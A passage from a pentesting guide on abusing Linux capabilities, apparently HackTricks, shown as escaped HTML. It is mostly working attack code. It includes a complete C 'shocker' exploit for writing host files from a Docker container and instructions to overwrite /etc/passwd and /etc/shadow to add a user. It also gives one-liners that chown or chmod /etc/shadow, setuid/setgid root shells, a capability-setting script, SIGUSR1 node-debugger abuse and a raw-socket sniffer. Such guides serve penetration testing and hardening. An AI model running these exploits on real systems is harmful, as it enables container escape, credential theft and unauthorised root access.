&lt;p&gt;&lt;strong&gt;Example with environment + CAP_DAC_READ_SEARCH (Docker breakout)&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;You can check the enabled capabilities inside the docker container using:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00&amp;#x2F;0x0&amp;#x2F;1&amp;#x27;b0
 secure-noroot: no (unlocked)
 secure-no-suid-fixup: no (unlocked)
 secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;First of all read the previous section that &lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;book.hacktricks.xyz&#x2F;linux-hardening&#x2F;privilege-escalation&#x2F;linux-capabilities#cap_dac_read_search&quot;&gt;abuses DAC_READ_SEARCH capability to read arbitrary files&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt; of the host and&lt;strong&gt;compile&lt;&#x2F;strong&gt; the exploit. Then,&lt;strong&gt;compile the following version of the shocker exploit&lt;&#x2F;strong&gt; that will allow you to&lt;strong&gt;write arbitrary files&lt;&#x2F;strong&gt; inside the hosts filesystem:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;sys&amp;#x2F;types.h&amp;gt;
#include &amp;lt;sys&amp;#x2F;stat.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;errno.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;dirent.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;

&amp;#x2F;&amp;#x2F; gcc shocker_write.c -o shocker_write
&amp;#x2F;&amp;#x2F; .&amp;#x2F;shocker_write &amp;#x2F;etc&amp;#x2F;passwd passwd

struct my_file_handle {
  unsigned int handle_bytes;
  int handle_type;
  unsigned char f_handle[8];
};
void die(const char * msg) {
  perror(msg);
  exit(errno);
}
void dump_handle(const struct my_file_handle * h) {
  fprintf(stderr, &amp;quot;[*] #=%d, %d, char nh[] = {&amp;quot;, h -&amp;gt; handle_bytes,
    h -&amp;gt; handle_type);
  for (int i = 0; i &amp;lt; h -&amp;gt; handle_bytes; ++i) {
    fprintf(stderr, &amp;quot;0x%02x&amp;quot;, h -&amp;gt; f_handle[i]);
    if ((i + 1) % 20 == 0)
      fprintf(stderr, &amp;quot;\n&amp;quot;);
    if (i &amp;lt; h -&amp;gt; handle_bytes - 1)
      fprintf(stderr, &amp;quot;, &amp;quot;);
  }
  fprintf(stderr, &amp;quot;};\n&amp;quot;);
}
int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)
{
  int fd;
  uint32_t ino = 0;
  struct my_file_handle outh = {
    .handle_bytes = 8,
    .handle_type = 1
  };
  DIR * dir = NULL;
  struct dirent * de = NULL;
  path = strchr(path, &amp;#x27;&amp;#x2F;&amp;#x27;);
  &amp;#x2F;&amp;#x2F; recursion stops if path has been resolved
  if (!path) {
    memcpy(oh -&amp;gt; f_handle, ih -&amp;gt; f_handle, sizeof(oh -&amp;gt; f_handle));
    oh -&amp;gt; handle_type = 1;
    oh -&amp;gt; handle_bytes = 8;
    return 1;
  }
  ++path;
  fprintf(stderr, &amp;quot;[*] Resolving &amp;#x27;%s&amp;#x27;\n&amp;quot;, path);
  if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) &amp;lt; 0)
    die(&amp;quot;[-] open_by_handle_at&amp;quot;);
  if ((dir = fdopendir(fd)) == NULL)
    die(&amp;quot;[-] fdopendir&amp;quot;);
  for (;;) {
    de = readdir(dir);
    if (!de)
      break;
    fprintf(stderr, &amp;quot;[*] Found %s\n&amp;quot;, de -&amp;gt; d_name);
    if (strncmp(de -&amp;gt; d_name, path, strlen(de -&amp;gt; d_name)) == 0) {
      fprintf(stderr, &amp;quot;[+] Match: %s ino=%d\n&amp;quot;, de -&amp;gt; d_name, (int) de -&amp;gt; d_ino);
      ino = de -&amp;gt; d_ino;
      break;
    }
  }
  fprintf(stderr, &amp;quot;[*] Brute forcing remaining 32bit. This can take a while...\n&amp;quot;);
  if (de) {
    for (uint32_t i = 0; i &amp;lt; 0xffffffff; ++i) {
      outh.handle_bytes = 8;
      outh.handle_type = 1;
      memcpy(outh.f_handle, &amp;amp; ino, sizeof(ino));
      memcpy(outh.f_handle + 4, &amp;amp; i, sizeof(i));
      if ((i % (1 &amp;lt;&amp;lt; 20)) == 0)
        fprintf(stderr, &amp;quot;[*] (%s) Trying: 0x%08x\n&amp;quot;, de -&amp;gt; d_name, i);
      if (open_by_handle_at(bfd, (struct file_handle * ) &amp;amp; outh, 0) &amp;gt; 0) {
        closedir(dir);
        close(fd);
        dump_handle( &amp;amp; outh);
        return find_handle(bfd, path, &amp;amp; outh, oh);
      }
    }
  }
  closedir(dir);
  close(fd);
  return 0;
}
int main(int argc, char * argv[]) {
  char buf[0x1000];
  int fd1, fd2;
  struct my_file_handle h;
  struct my_file_handle root_h = {
    .handle_bytes = 8,
    .handle_type = 1,
    .f_handle = {
      0x02,
      0,
      0,
      0,
      0,
      0,
      0,
      0
    }
  };
  fprintf(stderr, &amp;quot;[***] docker VMM-container breakout Po(C) 2014 [***]\n&amp;quot;
    &amp;quot;[***] The tea from the 90&amp;#x27;s kicks your sekurity again. [***]\n&amp;quot;
    &amp;quot;[***] If you have pending sec consulting, I&amp;#x27;ll happily [***]\n&amp;quot;
    &amp;quot;[***] forward to my friends who drink secury-tea too! [***]\n\n&amp;lt;enter&amp;gt;\n&amp;quot;);
  read(0, buf, 1);
  &amp;#x2F;&amp;#x2F; get a FS reference from something mounted in from outside
  if ((fd1 = open(&amp;quot;&amp;#x2F;etc&amp;#x2F;hostname&amp;quot;, O_RDONLY)) &amp;lt; 0)
    die(&amp;quot;[-] open&amp;quot;);
  if (find_handle(fd1, argv[1], &amp;amp; root_h, &amp;amp; h) &amp;lt;= 0)
    die(&amp;quot;[-] Cannot find valid handle!&amp;quot;);
  fprintf(stderr, &amp;quot;[!] Got a final handle!\n&amp;quot;);
  dump_handle( &amp;amp; h);
  if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) &amp;amp; h, O_RDWR)) &amp;lt; 0)
    die(&amp;quot;[-] open_by_handle&amp;quot;);
  char * line = NULL;
  size_t len = 0;
  FILE * fptr;
  ssize_t read;
  fptr = fopen(argv[2], &amp;quot;r&amp;quot;);
  while ((read = getline( &amp;amp; line, &amp;amp; len, fptr)) != -1) {
    write(fd2, line, read);
  }
  printf(&amp;quot;Success!!\n&amp;quot;);
  close(fd2);
  close(fd1);
  return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;In order to scape the docker container you could &lt;strong&gt;download&lt;&#x2F;strong&gt; the files &lt;code&gt;&#x2F;etc&#x2F;shadow&lt;&#x2F;code&gt; and &lt;code&gt;&#x2F;etc&#x2F;passwd&lt;&#x2F;code&gt; from the host,&lt;strong&gt;add&lt;&#x2F;strong&gt; to them a&lt;strong&gt;new user&lt;&#x2F;strong&gt;, and use &lt;code&gt;shocker_write&lt;&#x2F;code&gt; to overwrite them. Then,&lt;strong&gt;access&lt;&#x2F;strong&gt; via&lt;strong&gt;ssh&lt;&#x2F;strong&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;The code of this technique was copied from the laboratory of &quot;Abusing DAC_OVERRIDE Capability&quot; from&lt;&#x2F;strong&gt;**&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.pentesteracademy.com&#x2F;&quot;&gt;https:&#x2F;&#x2F;www.pentesteracademy.com&lt;&#x2F;a&gt;**&lt;&#x2F;p&gt;
&lt;h2 id=&quot;cap-chown&quot;&gt;CAP_CHOWN&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;This means that it&#x27;s possible to change the ownership of any file.&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Example with binary&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Lets suppose the &lt;code&gt;python&lt;&#x2F;code&gt; binary has this capability, you can &lt;strong&gt;change&lt;&#x2F;strong&gt; the&lt;strong&gt;owner&lt;&#x2F;strong&gt; of the&lt;strong&gt;shadow&lt;&#x2F;strong&gt; file,&lt;strong&gt;change root password&lt;&#x2F;strong&gt;, and escalate privileges:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;python -c &amp;#x27;import os;os.chown(&amp;quot;&amp;#x2F;etc&amp;#x2F;shadow&amp;quot;,1000,1000)&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Or with the &lt;code&gt;ruby&lt;&#x2F;code&gt; binary having this capability:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;ruby -e &amp;#x27;require &amp;quot;fileutils&amp;quot;; FileUtils.chown(1000, 1000, &amp;quot;&amp;#x2F;etc&amp;#x2F;shadow&amp;quot;)&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;cap-fowner&quot;&gt;CAP_FOWNER&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;This means that it&#x27;s possible to change the permission of any file.&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Example with binary&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;If python has this capability you can modify the permissions of the shadow file, &lt;strong&gt;change root password&lt;&#x2F;strong&gt;, and escalate privileges:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;python -c &amp;#x27;import os;os.chmod(&amp;quot;&amp;#x2F;etc&amp;#x2F;shadow&amp;quot;,0666)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;cap-setuid&quot;&gt;CAP_SETUID&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;This means that it&#x27;s possible to set the effective user id of the created process.&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Example with binary&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;If python has this &lt;strong&gt;capability&lt;&#x2F;strong&gt;, you can very easily abuse it to escalate privileges to root:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;import os
os.setuid(0)
os.system(&amp;quot;&amp;#x2F;bin&amp;#x2F;bash&amp;quot;)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;Another way:&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;import os
import prctl
#add the capability to the effective set
prctl.cap_effective.setuid = True
os.setuid(0)
os.system(&amp;quot;&amp;#x2F;bin&amp;#x2F;bash&amp;quot;)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;cap-setgid&quot;&gt;CAP_SETGID&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;This means that it&#x27;s possible to set the effective group id of the created process.&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;There are a lot of files you can &lt;strong&gt;overwrite to escalate privileges,****&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;book.hacktricks.xyz&#x2F;linux-hardening&#x2F;privilege-escalation&#x2F;payloads-to-execute#overwriting-a-file-to-escalate-privileges&quot;&gt;you can get ideas from here&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Example with binary&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;In this case you should look for interesting files that a group can read because you can impersonate any group:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#Find every file writable by a group
find &amp;#x2F; -perm &amp;#x2F;g=w -exec ls -lLd {} \; 2&amp;gt;&amp;#x2F;dev&amp;#x2F;null
#Find every file writable by a group in &amp;#x2F;etc with a maxpath of 1
find &amp;#x2F;etc -maxdepth 1 -perm &amp;#x2F;g=w -exec ls -lLd {} \; 2&amp;gt;&amp;#x2F;dev&amp;#x2F;null
#Find every file readable by a group in &amp;#x2F;etc with a maxpath of 1
find &amp;#x2F;etc -maxdepth 1 -perm &amp;#x2F;g=r -exec ls -lLd {} \; 2&amp;gt;&amp;#x2F;dev&amp;#x2F;null
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Once you have find a file you can abuse (via reading or writing) to escalate privileges you can &lt;strong&gt;get a shell impersonating the interesting group&lt;&#x2F;strong&gt; with:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;import os
os.setgid(42)
os.system(&amp;quot;&amp;#x2F;bin&amp;#x2F;bash&amp;quot;)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;In this case the group shadow was impersonated so you can read the file &lt;code&gt;&#x2F;etc&#x2F;shadow&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;cat &amp;#x2F;etc&amp;#x2F;shadow
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;If &lt;strong&gt;docker&lt;&#x2F;strong&gt; is installed you could&lt;strong&gt;impersonate&lt;&#x2F;strong&gt; the&lt;strong&gt;docker group&lt;&#x2F;strong&gt; and abuse it to communicate with the**&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;book.hacktricks.xyz&#x2F;linux-hardening&#x2F;privilege-escalation#writable-docker-socket&quot;&gt;docker socket&lt;&#x2F;a&gt;**&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;book.hacktricks.xyz&#x2F;linux-hardening&#x2F;privilege-escalation#writable-docker-socket&quot;&gt; and escalate privileges&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;cap-setfcap&quot;&gt;CAP_SETFCAP&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;This means that it&#x27;s possible to set capabilities on files and processes&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Example with binary&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;If python has this &lt;strong&gt;capability&lt;&#x2F;strong&gt;, you can very easily abuse it to escalate privileges to root:&lt;&#x2F;p&gt;
&lt;p&gt;setcapability.py&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;import ctypes, sys

#Load needed library
#You can find which library you need to load checking the libraries of local setcap binary
# ldd &amp;#x2F;sbin&amp;#x2F;setcap
libcap = ctypes.cdll.LoadLibrary(&amp;quot;libcap.so.2&amp;quot;)

libcap.cap_from_text.argtypes = [ctypes.c_char_p]
libcap.cap_from_text.restype = ctypes.c_void_p
libcap.cap_set_file.argtypes = [ctypes.c_char_p,ctypes.c_void_p]

#Give setuid cap to the binary
cap = &amp;#x27;cap_setuid+ep&amp;#x27;
path = sys.argv[1]
print(path)
cap_t = libcap.cap_from_text(cap)
status = libcap.cap_set_file(path,cap_t)

if(status == 0):
    print (cap + &amp;quot; was successfully added to &amp;quot; + path)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;python setcapability.py &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;python2.7
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Note that if you set a new capability to the binary with CAP_SETFCAP, you will lose this cap.&lt;&#x2F;p&gt;
&lt;p&gt;Once you have &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;book.hacktricks.xyz&#x2F;linux-hardening&#x2F;privilege-escalation&#x2F;linux-capabilities#cap_setuid&quot;&gt;SETUID capability&lt;&#x2F;a&gt; you can go to its section to see how to escalate privileges.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Example with environment (Docker breakout)&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;By default the capability &lt;strong&gt;CAP_SETFCAP is given to the proccess inside the container in Docker&lt;&#x2F;strong&gt;. You can check that doing something like:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;cat &amp;#x2F;proc&amp;#x2F;`pidof bash`&amp;#x2F;status | grep Cap
CapInh: 00000000a80425fb
CapPrm: 00000000a80425fb
CapEff: 00000000a80425fb
CapBnd: 00000000a80425fb
CapAmb: 0000000000000000

capsh --decode=00000000a80425fb
0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This capability allow to &lt;strong&gt;give any other capability to binaries&lt;&#x2F;strong&gt;, so we could think about&lt;strong&gt;escaping&lt;&#x2F;strong&gt; from the container&lt;strong&gt;abusing any of the other capability breakouts&lt;&#x2F;strong&gt; mentioned in this page. However, if you try to give for example the capabilities CAP_SYS_ADMIN and CAP_SYS_PTRACE to the gdb binary, you will find that you can give them, but the&lt;strong&gt;binary won’t be able to execute after this&lt;&#x2F;strong&gt;:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;getcap &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;gdb
&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;gdb = cap_sys_ptrace,cap_sys_admin+eip

setcap cap_sys_admin,cap_sys_ptrace+eip &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;gdb

&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;gdb
bash: &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;gdb: Operation not permitted
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;man7.org&#x2F;linux&#x2F;man-pages&#x2F;man7&#x2F;capabilities.7.html&quot;&gt;From the docs&lt;&#x2F;a&gt;: &lt;em&gt;Permitted: This is a&lt;&#x2F;em&gt; &lt;em&gt;&lt;strong&gt;limiting superset for the effective capabilities&lt;&#x2F;strong&gt;&lt;&#x2F;em&gt; &lt;em&gt;that the thread may assume. It is also a limiting superset for the capabilities that may be added to the inheri‐table set by a thread that&lt;&#x2F;em&gt; &lt;em&gt;&lt;strong&gt;does not have the CAP_SETPCAP&lt;&#x2F;strong&gt;&lt;&#x2F;em&gt; &lt;em&gt;capability in its effective set.&lt;&#x2F;em&gt;  It looks like the Permitted capabilities limit the ones that can be used. However, Docker also grants the &lt;strong&gt;CAP_SETPCAP&lt;&#x2F;strong&gt; by default, so you might be able to&lt;strong&gt;set new capabilities inside the inheritables ones&lt;&#x2F;strong&gt;. However, in the documentation of this cap: &lt;em&gt;CAP_SETPCAP : […]&lt;&#x2F;em&gt;  &lt;em&gt;&lt;strong&gt;add any capability from the calling thread’s bounding&lt;&#x2F;strong&gt;&lt;&#x2F;em&gt; &lt;em&gt;set to its inheritable set&lt;&#x2F;em&gt;. It looks like we can only add to the inheritable set capabilities from the bounding set. Which means that &lt;strong&gt;we cannot put new capabilities like CAP_SYS_ADMIN or CAP_SYS_PTRACE in the inherit set to escalate privileges&lt;&#x2F;strong&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;cap-sys-rawio&quot;&gt;CAP_SYS_RAWIO&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;man7.org&#x2F;linux&#x2F;man-pages&#x2F;man7&#x2F;capabilities.7.html&quot;&gt;CAP_SYS_RAWIO&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt; provides a number of sensitive operations including access to &lt;code&gt;&#x2F;dev&#x2F;mem&lt;&#x2F;code&gt;, &lt;code&gt;&#x2F;dev&#x2F;kmem&lt;&#x2F;code&gt; or &lt;code&gt;&#x2F;proc&#x2F;kcore&lt;&#x2F;code&gt;, modify &lt;code&gt;mmap_min_addr&lt;&#x2F;code&gt;, access &lt;code&gt;ioperm(2)&lt;&#x2F;code&gt; and &lt;code&gt;iopl(2)&lt;&#x2F;code&gt; system calls, and various disk commands. The &lt;code&gt;FIBMAP ioctl(2)&lt;&#x2F;code&gt; is also enabled via this capability, which has caused issues in the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;lkml.iu.edu&#x2F;hypermail&#x2F;linux&#x2F;kernel&#x2F;9907.0&#x2F;0132.html&quot;&gt;past&lt;&#x2F;a&gt;. As per the man page, this also allows the holder to descriptively &lt;code&gt;perform a range of device-specific operations on other devices&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;This can be useful for &lt;strong&gt;privilege escalation&lt;&#x2F;strong&gt; and&lt;strong&gt;Docker breakout.&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;cap-kill&quot;&gt;CAP_KILL&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;This means that it&#x27;s possible to kill any process.&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Example with binary&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Lets suppose the &lt;code&gt;python&lt;&#x2F;code&gt; binary has this capability. If you could &lt;strong&gt;also modify some service or socket configuration&lt;&#x2F;strong&gt; (or any configuration file related to a service) file, you could backdoor it, and then kill the process related to that service and wait for the new configuration file to be executed with your backdoor.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#Use this python code to kill arbitrary processes
import os
import signal
pgid = os.getpgid(341)
os.killpg(pgid, signal.SIGKILL)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;Privesc with kill&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;If you have kill capabilities and there is a &lt;strong&gt;node program running as root&lt;&#x2F;strong&gt; (or as a different user)you could probably&lt;strong&gt;send&lt;&#x2F;strong&gt; it the&lt;strong&gt;signal SIGUSR1&lt;&#x2F;strong&gt; and make it&lt;strong&gt;open the node debugger&lt;&#x2F;strong&gt; to where you can connect.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;kill -s SIGUSR1 &amp;lt;nodejs-ps&amp;gt;
# After an URL to access the debugger will appear. e.g. ws:&amp;#x2F;&amp;#x2F;127.0.0.1:9229&amp;#x2F;45ea962a-29dd-4cdd-be08-a6827840553d
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;book.hacktricks.xyz&#x2F;linux-hardening&#x2F;privilege-escalation&#x2F;electron-cef-chromium-debugger-abuse&quot;&gt;Node inspector&#x2F;CEF debug abuse&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;cap-net-bind-service&quot;&gt;CAP_NET_BIND_SERVICE&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;This means that it&#x27;s possible to listen in any port (even in privileged ones).&lt;&#x2F;strong&gt;  You cannot escalate privileges directly with this capability.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Example with binary&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;If &lt;code&gt;python&lt;&#x2F;code&gt; has this capability it will be able to listen on any port and even connect from it to any other port (some services require connections from specific privileges ports)&lt;&#x2F;p&gt;
&lt;h2 id=&quot;cap-net-raw&quot;&gt;CAP_NET_RAW&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;man7.org&#x2F;linux&#x2F;man-pages&#x2F;man7&#x2F;capabilities.7.html&quot;&gt;CAP_NET_RAW&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt; capability permits processes to&lt;strong&gt;create RAW and PACKET sockets&lt;&#x2F;strong&gt;, enabling them to generate and send arbitrary network packets. This can lead to security risks in containerized environments, such as packet spoofing, traffic injection, and bypassing network access controls. Malicious actors could exploit this to interfere with container routing or compromise host network security, especially without adequate firewall protections. Additionally,&lt;strong&gt;CAP_NET_RAW&lt;&#x2F;strong&gt; is crucial for privileged containers to support operations like ping via RAW ICMP requests.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;This means that it&#x27;s possible to sniff traffic.&lt;&#x2F;strong&gt;  You cannot escalate privileges directly with this capability.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Example with binary&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;If the binary &lt;code&gt;tcpdump&lt;&#x2F;code&gt; has this capability you will be able to use it to capture network information.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;getcap -r &amp;#x2F; 2&amp;gt;&amp;#x2F;dev&amp;#x2F;null
&amp;#x2F;usr&amp;#x2F;sbin&amp;#x2F;tcpdump = cap_net_raw+ep
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Note that if the &lt;strong&gt;environment&lt;&#x2F;strong&gt; is giving this capability you could also use &lt;code&gt;tcpdump&lt;&#x2F;code&gt; to sniff traffic.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Example with binary 2&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;The following example is &lt;code&gt;python2&lt;&#x2F;code&gt; code that can be useful to intercept traffic of the &quot;&lt;strong&gt;lo&lt;&#x2F;strong&gt;&quot; (&lt;strong&gt;localhost&lt;&#x2F;strong&gt;) interface. The code is from the lab &quot;&lt;em&gt;The Basics: CAP-NET_BIND + NET_RAW&lt;&#x2F;em&gt;&quot; from &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;attackdefense.pentesteracademy.com&#x2F;&quot;&gt;https:&#x2F;&#x2F;attackdefense.pentesteracademy.com&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;import socket
import struct

flags=[&amp;quot;NS&amp;quot;,&amp;quot;CWR&amp;quot;,&amp;quot;ECE&amp;quot;,&amp;quot;URG&amp;quot;,&amp;quot;ACK&amp;quot;,&amp;quot;PSH&amp;quot;,&amp;quot;RST&amp;quot;,&amp;quot;SYN&amp;quot;,&amp;quot;FIN&amp;quot;]

def getFlag(flag_value):
    flag=&amp;quot;&amp;quot;
    for i in xrange(8,-1,-1):
        if( flag_value &amp;amp; 1 &amp;lt;&amp;lt;i ):
            flag= flag + flags[8-i] + &amp;quot;,&amp;quot;
    return flag[:-1]

s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(3))
s.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 2**30)
s.bind((&amp;quot;lo&amp;quot;,0x0003))

flag=&amp;quot;&amp;quot;
count=0
while True:
    frame=s.recv(4096)
    ip_header=struct.unpack(&amp;quot;!BBHHHBBH4s4s&amp;quot;,frame[14:34])
    proto=ip_header[6]
    ip_header_size = (ip_header[0] &amp;amp; 0b1111) * 4
    if(proto==6):
        protocol=&amp;quot;TCP&amp;quot;
        tcp_header_packed = frame[ 14 + ip_header_size : 34 + ip_header_size]
        tcp_header = struct.unpack(&amp;quot;!HHLLHHHH&amp;quot;, tcp_header_packed)
        dst_port=tcp_header[0]
        src_port=tcp_header[1]
        flag=&amp;quot; FLAGS: &amp;quot;+getFlag(tcp_header[4])

    elif(proto==17):
        protocol=&amp;quot;UDP&amp;quot;
        udp_header_packed_ports = frame[ 14 + ip_header_size : 18 + ip_header_size]
        udp_header_ports=struct.unpack(&amp;quot;!HH&amp;quot;,udp_header_packed_ports)
        dst_port=udp_header[0]
        src_port=udp_header[1]

    if (proto == 17 or proto == 6):
        print(&amp;quot;Packet: &amp;quot; + str(count) + &amp;quot; Protocol: &amp;quot; + protocol + &amp;quot; Destination Port: &amp;quot; + str(dst_port) + &amp;quot; Source Port: &amp;quot; + str(src_port) + flag)
        count=count+1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;cap-net-admin-cap-net-raw&quot;&gt;CAP_NET_ADMIN + CAP_NET_RAW&lt;&#x2F;h2&gt;
